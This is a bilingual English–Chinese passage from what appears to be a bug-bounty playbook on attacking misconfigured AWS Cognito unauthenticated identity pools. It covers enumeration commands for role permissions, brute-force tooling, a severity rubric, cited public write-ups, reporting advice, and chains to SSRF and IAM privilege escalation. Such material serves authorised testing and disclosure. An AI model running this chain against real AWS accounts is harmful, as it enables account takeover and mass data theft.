arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials
的 role ARN。此时账号 ID 已被披露。

Step 5 — Enumerate role permissions

第 5 步——枚举 role 权限

Direct (rare):
bash
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role
Blackbox (the normal case) — fire a permission probe across high-value services and observe
AccessDenied
vs success. Pacu's
iam__enum_permissions --role-name <name>
brute-forces ~500 IAM actions;
enumerate-iam.py
by Andrés Riancho covers ~1000. Common over-permissions:
s3:Get*
/
s3:List*
,
dynamodb:Scan
,
lambda:InvokeFunction
,
appsync:GraphQL
,
cognito-idp:AdminCreateUser
,
iam:PassRole
,
kms:Decrypt
.
直接查询(少见):
bash
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role
黑盒探测(常规情况)——对高价值服务发起权限探测,并观察
AccessDenied
与成功响应。Pacu 的
iam__enum_permissions --role-name <name>
会暴力枚举约 500 个 IAM 操作;Andrés Riancho 的
enumerate-iam.py
覆盖约 1,000 个操作。常见过度授权包括:
s3:Get*
/
s3:List*
、
dynamodb:Scan
、
lambda:InvokeFunction
、
appsync:GraphQL
、
cognito-idp:AdminCreateUser
、
iam:PassRole
、
kms:Decrypt
。

Severity rubric

严重程度标准

FindingSeverityJustification
Unauth role with
*:*
or
AdministratorAccess
Critical (9.8+)Full AWS account takeover
Unauth role with
s3:Get*
/
s3:List*
on production customer buckets, or
dynamodb:Scan
on user tables
Critical (9.1-9.8)Mass PII / data breach
Unauth role with
appsync:GraphQL
on production API, or
lambda:InvokeFunction
on internal lambdas
Critical (9.0)Authenticated backend access
Unauth role with
cognito-idp:Admin*
on the linked User Pool
Critical (9.1)Mass ATO primitive
Unauth role with
iam:PassRole
+ create-function
Critical (9.8)Documented priv-esc to admin
Unauth role with
s3:PutObject
on web-hosting bucket
High (8.1)Stored XSS / supply-chain
Unauth role with
kms:Decrypt
on a customer CMK
High (7.5-8.5)Depends on ciphertext reachability
Unauth role with read-only on a single hardcoded non-sensitive resourceMedium (5.3)Limited business impact
Unauth identities enabled but role policy denies everythingInformationalBest-practice deviation only
发现严重程度判定依据
未认证 role 拥有
*:*
或
AdministratorAccess
Critical(9.8+)可完全接管 AWS 账号
未认证 role 对生产客户 bucket 拥有
s3:Get*
/
s3:List*
,或对用户表拥有
dynamodb:Scan
Critical(9.1-9.8)大规模 PII/数据泄露
未认证 role 对生产 API 拥有
appsync:GraphQL
,或对内部 lambda 拥有
lambda:InvokeFunction
Critical(9.0)可访问已认证后端
未认证 role 对关联 User Pool 拥有
cognito-idp:Admin*
Critical(9.1)大规模 ATO 原语
未认证 role 拥有
iam:PassRole
+ create-function
Critical(9.8)已有文档证明可提权至管理员
未认证 role 对 Web 托管 bucket 拥有
s3:PutObject
High(8.1)存储型 XSS/供应链攻击
未认证 role 对客户 CMK 拥有
kms:Decrypt
High(7.5-8.5)取决于密文是否可达
未认证 role 只能读取一个硬编码的非敏感资源Medium(5.3)业务影响有限
已启用未认证身份,但 role policy 拒绝所有操作Informational仅偏离最佳实践

Disclosed cases / authoritative writeups

已披露案例/权威文章

  1. Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023) — original research establishing the attack class.
    GetCredentialsForIdentity
    against unauth pools with default
    *
    policies. andresriancho.com
  2. Rhino Security Labs — Pacu
    cognito__enum_identity_pools
    module
    — production tooling that automates Steps 1-5 of the chain. github.com/RhinoSecurityLabs/pacu
  3. NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. notsosecure.com
  4. HackTricks Cloud —
    aws-cognito-unauthenticated-enum
    — canonical playbook covering Steps 1-5. cloud.hacktricks.wiki
  5. Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020) — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had
    cognito-idp:AdminConfirmSignUp
    +
    AdminUpdateUserAttributes
    on the linked User Pool — silent confirmation of any signup + email change = mass ATO.
  6. Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. securitylabs.datadoghq.com
  1. Andres Riancho——“Misconfigured Cognito Identity Pools”(2020,2023 年更新)——确立该攻击类别的原始研究。针对采用默认
    *
    策略的未认证 pool 调用
    GetCredentialsForIdentity
    。andresriancho.com
  2. Rhino Security Labs——Pacu 的
    cognito__enum_identity_pools
    模块
    ——可自动执行该攻击链第 1-5 步的生产级工具。github.com/RhinoSecurityLabs/pacu
  3. NotSoSecure/Claranet——“Exploiting weak configurations in Amazon Cognito”(2023 年 11 月)——完整演示了从提取 identityPoolId、assume guest role 到枚举 S3/DynamoDB/Lambda 的过程。文中指出 RUM、Amplify、Pinpoint 是通常在 HTML 中暴露 pool ID 的三个 SDK。notsosecure.com
  4. HackTricks Cloud——
    aws-cognito-unauthenticated-enum
    ——覆盖该攻击链第 1-5 步的标准操作手册。cloud.hacktricks.wiki
  5. Spaceraccoon/Eugene Lim——“Mass Account Takeover via Cognito IdentityPool”(Medium,2020)——某 SaaS 提供商在 Amplify 配置中暴露了 IdentityPoolId;未认证 role 对关联 User Pool 拥有
    cognito-idp:AdminConfirmSignUp
    +
    AdminUpdateUserAttributes
    ——可静默确认任意注册并修改邮箱,从而实现大规模 ATO。
  6. Datadog Security Labs——“Following AWS Logs Backwards: Cognito Identity Pool Abuse”(2024)——基于 Datadog 客户群的遥测数据,展示了现实世界中的 Cognito pool 滥用。相当比例的 pool 仍配置着比最低要求更宽泛的策略。securitylabs.datadoghq.com

Reporting tip

报告建议

Always include in the report:
  • sts get-caller-identity
    output (proves the role ARN + account ID)
  • Pacu
    iam__enum_permissions
    JSON output (proves the granted actions)
  • A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)
Without all three, triagers downgrade to Medium. The 60-second test is
GetId → GetCredentialsForIdentity → sts get-caller-identity
. If you reach step 3 anonymously, you have a finding.
Cross-reference:
hunt-cloud-misconfig
→
CloudWatch RUM weaponization
covers the specific RUM-embedded variant of this attack class.

报告中始终应包含:
  • sts get-caller-identity
    输出(证明 role ARN 和账号 ID)
  • Pacu
    iam__enum_permissions
    JSON 输出(证明已授权的操作)
  • 具体的数据拉取 PoC(一个 S3 对象列表,或一条经过 PII 脱敏的 DynamoDB 记录)
如果缺少其中任何一项,分诊人员会将严重程度降为 Medium。60 秒测试是
GetId → GetCredentialsForIdentity → sts get-caller-identity
。如果能够以匿名身份到达第 3 步,就构成一项安全发现。
交叉参考:
hunt-cloud-misconfig
→
CloudWatch RUM weaponization
涵盖了此类攻击中嵌入 RUM 的具体变体。

Related Skills & Chains

相关 skill 与攻击链

  • hunt-ssrf
    — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token →
    cloud-iam-deep
    privilege-escalation patterns reach prod S3 / Secrets Manager.
  • hunt-cloud-misconfig
    — Public buckets and exposed configs are the most common credential-leak vector. Chain primitive: Cloud misconfig (
    .env
    in public S3) + leaked AWS access key → IAM enumeration →
    iam:PassRole
    chain to admin.
  • supply-chain-attack-recon
    — CI/CD often holds long-lived deploy credentials. Chain primitive: Exposed GitHub Actions OIDC misconfig + assume-role permission →
    cloud-iam-deep
    cross-account role assumption.
  • m365-entra-attack
    — Azure Managed Identity overlaps Entra service principals. Chain primitive: SSRF on Azure App Service → Managed Identity token →
    m365-entra-attack
    Graph API enumeration → cross-tenant escalation.
  • security-arsenal
    — Load the Cloud IAM Privilege-Escalation Payload Pack (24+ AWS, 8+ Azure, 6+ GCP escalation patterns with
    aws cli
    one-liners).
  • triage-validation
    — Apply the Server-State-vs-Policy gate: a permissive IAM policy alone is not a finding; demonstrate actual privileged action (e.g., read prod secret, create cross-account role) before reporting.
  • hunt-ssrf
    ——大多数通向云凭据的外部路径都始于 SSRF 访问 metadata 服务。链式原语:SSRF + IMDSv1 → 实例 role token →
    cloud-iam-deep
    权限提升模式 → 访问生产 S3/Secrets Manager。
  • hunt-cloud-misconfig
    ——公共 bucket 和暴露的配置是最常见的凭据泄露载体。链式原语:云配置错误(公共 S3 中的
    .env
    )+ 泄露的 AWS access key → IAM 枚举 →
    iam:PassRole
    链 → 管理员权限。
  • supply-chain-attack-recon
    ——CI/CD 经常保存长期有效的部署凭据。链式原语:暴露的 GitHub Actions OIDC 配置错误 + assume-role 权限 →
    cloud-iam-deep
    跨账号 role assumption。
  • m365-entra-attack
    ——Azure Managed Identity 与 Entra service principal 存在重叠。链式原语:Azure App Service 上的 SSRF → Managed Identity token →
    m365-entra-attack
    Graph API 枚举 → 跨租户权限提升。
  • security-arsenal
    ——加载 Cloud IAM Privilege-Escalation Payload Pack,其中包含 24+ 种 AWS、8+ 种 Azure、6+ 种 GCP 权限提升模式及对应的
    aws cli
    单行命令。
  • triage-validation
    ——应用 Server-State-vs-Policy gate:仅存在宽松的 IAM policy 并不构成发现项;报告前应证明实际的高权限操作,例如读取生产 secret 或创建跨账号 role。